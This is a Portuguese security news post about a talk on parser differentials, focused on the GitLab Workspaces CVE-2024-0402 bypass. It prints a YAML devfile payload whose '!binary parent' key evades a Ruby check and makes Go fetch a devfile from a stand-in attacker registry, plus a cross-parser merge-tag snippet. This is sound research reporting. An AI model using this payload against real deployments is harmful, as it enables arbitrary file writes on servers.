10º lugar na Lista Top da PortSwigger: Diferenciais de Parser — Como Discrepâncias de Parser Se Tornam Vulnerabilidades
⚔️ Técnicas e Métodos de Ataque2026-03-04, 09:09
Uma palestra de Yann Schneeberger da GitLab Security Research.
A ideia é simples: dois componentes de uma aplicação analisam a mesma entrada (JSON, JWT, YAML) de maneira diferente. Um atacante cria uma entrada que parece segura para um componente, mas maliciosa para outro.
A ideia é simples: dois componentes de uma aplicação analisam a mesma entrada (JSON, JWT, YAML) de maneira diferente. Um atacante cria uma entrada que parece segura para um componente, mas maliciosa para outro.
A palestra cobre três casos; vamos olhar para o terceiro — a análise da CVE-2024-0402 no GitLab Workspaces, pois é o mais intrigante.
O GitLab Workspaces é configurado através de um arquivo de configuração YAML (um devfile). Ele pode incluir uma chave parent, o que implica herança de uma fonte externa. O mecanismo de carregamento do parent era vulnerável a gravações arbitrárias de arquivos via path traversal. No entanto, o código Ruby bloqueava explicitamente esta chave:
return err("...not supported") if devfile['parent']
Contexto importante: O GitLab é escrito em Ruby, mas o devfile é processado por um binário Go. O Ruby analisa o YAML primeiro e verifica se a chave parent proibida está presente. Se tudo parecer limpo, ele passa o mesmo YAML para o binário Go, que então baixa recursos e implanta a configuração.
O bypass confiava em uma diferença em como Ruby e Go lidam com as tags YAML !!binary e !binary. No Ruby, !binary decodifica a string de Base64 em uma chave binária. No Go, a tag é simplesmente ignorada, e a chave permanece inalterada:
schemaVersion: 2.2.0
!binary parent:
uri: https://evil-registry.com/...
O Ruby vê a chave como "\xA5\xAA\xDE\x9E" (a forma decodificada em Base64 de parent) → a verificação para parent não é acionada.
O Go vê a chave como parent → baixa o devfile externo → path traversal → grava arquivos no servidor.
O Go vê a chave como parent → baixa o devfile externo → path traversal → grava arquivos no servidor.
Bônus: um arquivo YAML — seis linguagens. Após a palestra, o pesquisador Taram Pam criou um arquivo YAML que produz valores diferentes em Ruby, Rust, Node, Go, Java e Python — tudo através de !!binary. A DarkForge Labs foi além e alcançou um resultado similar para quatro parsers sem !!binary — usando merge tags instead:
<<: {?"lang": Go,
!!merge : {lang: NodeJS}}
dfl: &morge "<<"
morge : {lang: RUBY}
!!merge : {lang: PYTHON}
🎞 Palestra: https://www.youtube.com/watch?v=Dq_KVLXzxH8
📎 Diferenciais de merge YAML: https://blog.darkforge.io/yaml/merge/parser/differential/research/2026/02/11/YAML-Merge-Tags-and-Parser-Differentials.html
📎 Diferenciais de merge YAML: https://blog.darkforge.io/yaml/merge/parser/differential/research/2026/02/11/YAML-Merge-Tags-and-Parser-Differentials.html
🏆 Top 10 Completo: https://portswigger.net/research/top-10-web-hacking-techniques-of-2025
Vulnerabilidades
Pesquisadores
Fornecedor
Produto
Mais
Publicado
2026-03-04, 09:09